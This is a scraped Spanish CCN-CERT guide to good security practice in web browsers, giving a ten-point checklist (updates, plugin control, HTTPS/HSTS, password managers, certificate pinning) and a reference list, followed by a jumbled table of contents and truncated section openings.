Figura 40. Evidencias Memoria (Modo privado)
37
SIN CLASIFICAR
SIN CLASIFICAR
7. DECÁLOGO DE RECOMENDACIONES
Decálogo de seguridad para la navegación web
Utilícese siempre un navegador actualizado. Los principales navegadores de hoy en día se actualizan
1 automáticamente bien de forma transparente al usuario o mediante notificaciones que deberán ser
aprobadas. Las actualizaciones automáticas del sistema operativo deberán también estar habilitadas.
2 Compruébese que los plugins y extensiones están configurados para actualizarse automáticamente.
Asimismo, asegúrese que la instalación de estos complementos se realiza desde fuentes fiables.
Se aconseja deshabilitar de forma predeterminada plugins como Adobe Flash y Java. El usuario podrá
habilitar los mismos bajo demanda para aquellos servicios conocidos y que sean de confianza.
3 Mecanismos como click-to-play o el uso de determinadas extensiones permiten facilitar esta tarea.
Asimismo, se recomienda deshabilitar JavaScript para navegar por páginas web desconocidas. Para
agilizar esta configuración pueden utilizarse extensiones que permiten aplicar políticas de contenido
para habilitar y deshabilitar lenguajes de scripting.
Se aconseja revisar las opciones de seguridad y privacidad del navegador. Actualmente los
4 navegadores disponen de medidas tan interesantes como: no aceptar cookies de terceros, bloquear
pop-ups, evitar la sincronización de contraseñas, evitar el autocompletado, borrar los ficheros temporales
y cookies al cerrar el navegador, bloquear la geolocalización, filtrar ActiveX, etc.
Se recomienda hacer uso de HTTPS (SSL/TLS) frente a HTTP incluso para aquellos servicios que no manejen
5 información sensible. Algunas funcionalidades como HSTS y extensiones como HTTPS Everywhere servirán
de gran ayuda para garantizar el uso preferente de HTTPS sobre HTTP durante la navegación web.
Se recomienda proteger el navegador y los plugins con soluciones anti-exploit para mitigar posibles
ataques derivados de exploits. En algunos casos, este tipo de herramientas podrán proteger al usuario
6
frente a 0-days. Esta solución no debe verse como un sustituto al antivirus sino como una capa de
seguridad adicional.
Se recomienda no almacenar contraseñas de forma predeterminada por medio del navegador y utilizar
herramientas más seguras para dicha gestión (por ejemplo, gestores de contraseñas que implementen
7
un sistema de cifrado robusto). En el caso de que se decida utilizar el navegador es importante hacer uso
de una llave maestra que cifre el repositorio de credenciales.
Es importante verificar que los certificados remitidos por servicios HTTPS que manejen información sensible
(por ejemplo, servicios de correo, banca electrónica, etc.) han sido remitidos por una CA de confianza.
8
Cualquier error o alerta generada por el navegador como consecuencia de la validación del certificado
(por ejemplo, certificados autofirmados) deberá revisarse cuidadosamente.
Para mejorar la seguridad frente a ataques de tipo Man in the Middle se recomienda el uso de políticas
9
de "Certificate Pinning".
Valórese el uso de extensiones o complementos adicionales que implementen funcionalidades no

contempladas por el navegador. Por ejemplo, aquellas que mejoran la privacidad durante la
10
navegación o que bloquean en la medida de lo posible anuncios, banners publicitarios y determinadas
técnicas de seguimiento utilizadas por terceros.
38
SIN CLASIFICAR
SIN CLASIFICAR
8. ANEXO A. REFERENCIAS
Pwn2Own 2016
ZerodayInitiative
[Ref – 1]
http://zerodayinitiative.com/Pwn2Own2016Rules.html
Trustwave
SpiderLabs Blog
[Ref – 2] 9 de junio de 2016
https://www.trustwave.com/Resources/SpiderLabs-Blog/Zero-Day-Auction-for-the-Masses/
W3C
Document Object Model (DOM) Technical Reports
[Ref – 3]
https://www.w3.org/DOM/DOMTR
IANA
Message Headers
[Ref – 4]
https://www.iana.org/assignments/message-headers/message-headers.xhtml
OWASP
Secure Headers Project
[Ref – 5]
https://www.owasp.org/index.php/OWASP_Secure_Headers_Project
HSTS Preload
[Ref – 6] https://hstspreload.appspot.com/
EFF
HTTPS-Everywhere
[Ref – 7]
https://www.eff.org/HTTPS-EVERYWHERE
Berkeley
Secure Content Sniffing for Web Browsers, or How to Stop Papers from Reviewing Themselves
[Ref – 8]
http://webblaze.cs.berkeley.edu/papers/barth-caballero-song.pdf
BeEF Project
Exploiting with BeEF Bind shellcode
[Ref – 9] 19 de marzo de 2014
http://blog.beefproject.com/2014/03/exploiting-with-beef-bind-shellcode_19.html
BlackHat 2016
Bypassing Browser Security Policies For Fun And Profit
[Ref – 10] https://www.blackhat.com/docs/asia-16/materials/asia-16-Baloch-Bypassing-Browser-Security-
Policies-For-Fun-And-Profit-wp.pdf
Chromium
The road to safer, more stable, and flashier Flash
[Ref – 11] 8 de agosto de 2012
https://blog.chromium.org/2012/08/the-road-to-safer-more-stable-and.html
ARStechnica
NoScript and other popular Firefox add-ons open millions to new attack
6 de abril de 2016
[Ref – 12]
http://arstechnica.com/security/2016/04/noscript-and-other-popular-firefox-add-ons-open-
millions-to-new-attack/
Cisco blog
Threat Spotlight: Angler Lurking in the Domain Shadows
[Ref – 13] 3 de Marzo de 2016
http://blogs.cisco.com/security/talos/angler-domain-shadowing#shadowing
CCN-CERT
[Ref – 14] Informe de buenas prácticas en el correo electrónico
Julio de 2016
39
SIN CLASIFICAR
SIN CLASIFICAR
https://www.ccn-cert.cni.es/informes/informes-de-buenas-practicas-bp/1598-ccn-cert-bp-02-16-
correo-electronico/file.html
TrendMicro
Exploit-kit
[Ref – 15]
http://www.trendmicro.com/vinfo/us/security/definition/exploit-kit
Github
BeefProject
[Ref – 16]
https://github.com/beefproject/beef
Rapid7
The New Metasploit Browser Autopwn: Strikes Faster and Smarter
30 de junio de 2015
[Ref – 17]
https://community.rapid7.com/community/metasploit/blog/2015/07/15/the-new-metasploit-
browser-autopwn-strikes-faster-and-smarter--part-1
Offensive Security
Kali NetHunter 3.0 Released
[Ref – 18] 6 de enero de 2016
https://www.offensive-security.com/kali-nethunter/nethunter-3-0-released/
Cert PL
Large-scale DNS redirection on home routers for financial theft
6 de febrero de 2014
[Ref – 19]
https://www.cert.pl/en/news/single/large-scale-dns-redirection-on-home-routers-for-financial-
theft/
Bishop Fox
An Overview of BGP Hijacking
[Ref – 20] 17 de agosto de 2015
https://www.bishopfox.com/blog/2015/08/an-overview-of-bgp-hijacking/
isc2 blog
Security breach in CA networks
[Ref – 21] 4 de abril de 2012
http://blog.isc2.org/isc2_blog/2012/04/test.html
BlackHat Asia 2014

Exploiting DNS servers changes
[Ref – 22]
http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014
Adobe
Introducing Adobe Flash Player Background Updater for Windows
[Ref – 23]
http://www.adobe.com/devnet/flashplayer/articles/background-updater-windows.html
CVE Details
Java: Security Vulnerabilities
[Ref – 24]
https://www.cvedetails.com/vulnerability-list/vendor_id-93/product_id-19117/Oracle-JRE.html
HowToGeek
How to Enable Click-to-Play Plugins in Every Web Browser
[Ref – 25] 7 de noviembre de 2015
http://www.howtogeek.com/188059/how-to-enable-click-to-play-plugins-in-every-web-browser/
Microsoft
EMET
[Ref – 26]
https://support.microsoft.com/en-us/kb/2458544
MalwareBytes
Anti-Exploit
[Ref – 27]
https://es.malwarebytes.com/antiexploit/
40
SIN CLASIFICAR
SIN CLASIFICAR
EFF
HTTPS Everywhere Rulesets
[Ref – 28]
https://www.eff.org/https-everywhere/rulesets
EFF
HTTPS Everywhere Atlas
[Ref – 29]
https://www.eff.org/https-everywhere/atlas/
Mozilla
Self-Destructing Cookies
[Ref – 30]
https://addons.mozilla.org/en-US/firefox/addon/self-destructing-cookies/
Samy Kamkar
Evercookie
[Ref – 31] 11 de octubre de 2010
http://samy.pl/evercookie/
RaiderSec
How Browsers Store Your Passwords (and Why You Shouldn't Let Them)
[Ref – 32] 20 de junio de 2013
https://raidersec.blogspot.com.es/2013/06/how-browsers-store-your-passwords-and.html
Engadget
Finding passwords saved in Chrome is surprisingly easy, Google security lead sees no issue
[Ref – 33] 8 de julio de 2013
https://www.engadget.com/2013/08/07/chrome-saved-passwords/
Wired
You need a password manager
https://www.wired.com/2016/01/You-need-a-password-manager/
Detectify
How I made LastPass give me all your passwords
[Ref – 35] 27 de julio de 2016
https://labs.detectify.com/2016/07/27/how-i-made-lastpass-give-me-all-your-passwords/
Trendmicro
DigiNotar: Iranians – The Real Target
[Ref – 36] 5 de septiembre de 2011
http://blog.trendmicro.com/trendlabs-security-intelligence/diginotar-iranians-the-real-target/
OWASP
Certificate and Public Key Pinning
[Ref – 37]
https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning
The Chromium Projects

Technical analysis of client identification mechanisms
[Ref – 38]
http://www.chromium.org/Home/chromium-security/client-identification-mechanisms
Mozilla
Random Agent Spoofer
[Ref – 39]
https://addons.mozilla.org/en-US/firefox/addon/random-agent-spoofer/
Wikipedia
Do Not Track
[Ref – 40]
https://en.wikipedia.org/wiki/Do_Not_Track
Disconnect
Disconnect: A faster, safer Internet is one click away
[Ref – 41]
https://disconnect.me/
41
SIN CLASIFICAR
SIN CLASIFICAR
[Ref – 42] EFF

Privacy Badger
https://www.eff.org/privacybadger
Github
Decentraleyes
[Ref – 43]
https://github.com/Synzvato/decentraleyes
Github
uBlock
[Ref – 44]
https://github.com/gorhill/uBlock/
Radical Research
HSTS Super Cookies
http://www.radicalresearch.co.uk/lab/hstssupercookies
Ijcaonline
Analysis of Privacy of Private Browsing Mode through Memory Forensics
[Ref – 46] Diciembre de 2015
http://www.ijcaonline.org/research/volume132/number16/ghafarian-2015-ijca-907693.pdf
42
SIN CLASIFICAR

Idioma

CCN-CERT BP-06-16 Navegadores Web PDF

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

CCN-CERT BP-06-16 Navegadores Web PDF

Cargado por

Copyright:

Formatos disponibles

SIN CLASIFICAR

CCN-CERT BP-06/16 Buenas Prácticas en navegadores web

CENTRO CRIPTOLOGICO NACIONAL

CCN-CERT BP-06/16 Buenas Prácticas en navegadores web

3.2 Política del mismo origen (SOP) ....................................................................................... 10

3.3 Plugins y extensiones ........................................................................................................... 11

4.1.1.1 Infección de sitios web legítimos ........................................................................ 13

4.1.1.2 Técnicas de malvertising ...................................................................................... 14

4.1.1.3 Técnicas de ingeniería social .............................................................................. 14

4.2 Ataques Cross Site Scripting .............................................................................................. 18

4.3 Ataques Man in the Middle ............................................................................................... 20

5.2 Software para mitigar exploits .......................................................................................... 25

5.3 HSTS y HTTPS Everywhere .................................................................................................... 26

5.4 Protección de las sesiones................................................................................................. 26

CCN-CERT BP-06/16 Buenas Prácticas en navegadores web

5.5 Contraseñas almacenadas .............................................................................................. 28

5.6 Certificate Pinning ............................................................................................................... 29

5.7 Otras recomendaciones de carácter genérico ........................................................... 32

6.2 Modo privado de navegación ........................................................................................ 36

CCN-CERT BP-06/16 Buenas Prácticas en navegadores web

De acuerdo a todas ellas, el CCN-CERT tiene responsabilidad en ciberataques

En una época en la que cualquier usuario accede a su cuenta bancaria, realiza

El uso de lenguajes de scripting tales como JavaScript suelen ser el punto de

Asimismo, la gran variedad de APIs proporcionadas por HTML5, actualmente

Eventos de hacking como el Pwn2Own [Ref.- 1]permiten a las empresas corregir

CCN-CERT BP-06/16 Buenas Prácticas en navegadores web

3. COMPONENTES Y TECNOLOGÍAS DE SEGURIDAD DEL NAVEGADOR

Asimismo, el lenguaje de hojas de estilo en cascada (CSS) participa de forma

Los lenguajes de scripting como JavaScript permiten aplicar cierto dinamismo al

3.1 Cabeceras HTTP

Figura 1. Cabeceras HTTP dominio ccn-cert.cni.es

CCN-CERT BP-06/16 Buenas Prácticas en navegadores web

Es importante entender que tanto el servicio web como el navegador deben de

Aunque el número de cabeceras es extenso [Ref.- 4] es recomendable estar

3.1.1 HTTP Strict Transport Security

Figura 2. Cabecera Strict-Transport-Security (http://www.twitter.com)

HSTS, además, permitirá bloquear certificados sospechosos; por ejemplo,

A continuación, se muestra la política “Content Security” establecida por

CCN-CERT BP-06/16 Buenas Prácticas en navegadores web

Figura 3. Content-Security-Policy (www.facebook.com)

El "content sniffing" o "MIME sniffig" es la práctica de inspeccionar de forma

En la siguiente imagen se muestra la interpretación que hace el navegador

Figura 4. Content sniffig vs X-Content-Type-Options

CCN-CERT BP-06/16 Buenas Prácticas en navegadores web

Actualmente, los principales navegadores disponen de funcionalidades built-in

3.1.5 Secure / HTTPOnly flags

Figura 5. Flags Secure/HTTPOnly

El enlace “Home CCN-CERT” contiene un iframe transparente encima en donde

CCN-CERT BP-06/16 Buenas Prácticas en navegadores web

Gracias a la cabecera “X-Frame-Options” el servicio Web puede indicar al

3.2 Política del mismo origen (SOP)

Figura 7. Esquema + Hostname + Port

De este modo, si cualquiera de estos tres componentes difiere su origen se

Nota: a diferencia de otros navegadores, Internet Explorer no incluye el puerto dentro

Si este control no existiera, la navegación web no sería en absoluto segura. Una

Aunque SOP pueda parecer una política simple, implica un complejo

Por ejemplo, CORS (Cross-origin Resource Sharing) permite añadir cierta

CCN-CERT BP-06/16 Buenas Prácticas en navegadores web

Nota: herramientas de hacking como BeEF se aprovechan de CORS [Ref.- 9] para

La gestión inter-origen es un mecanismo bastante complejo cuya gestión

3.3 Plugins y extensiones

Un plugin es un software que se ejecuta de forma independiente al navegador.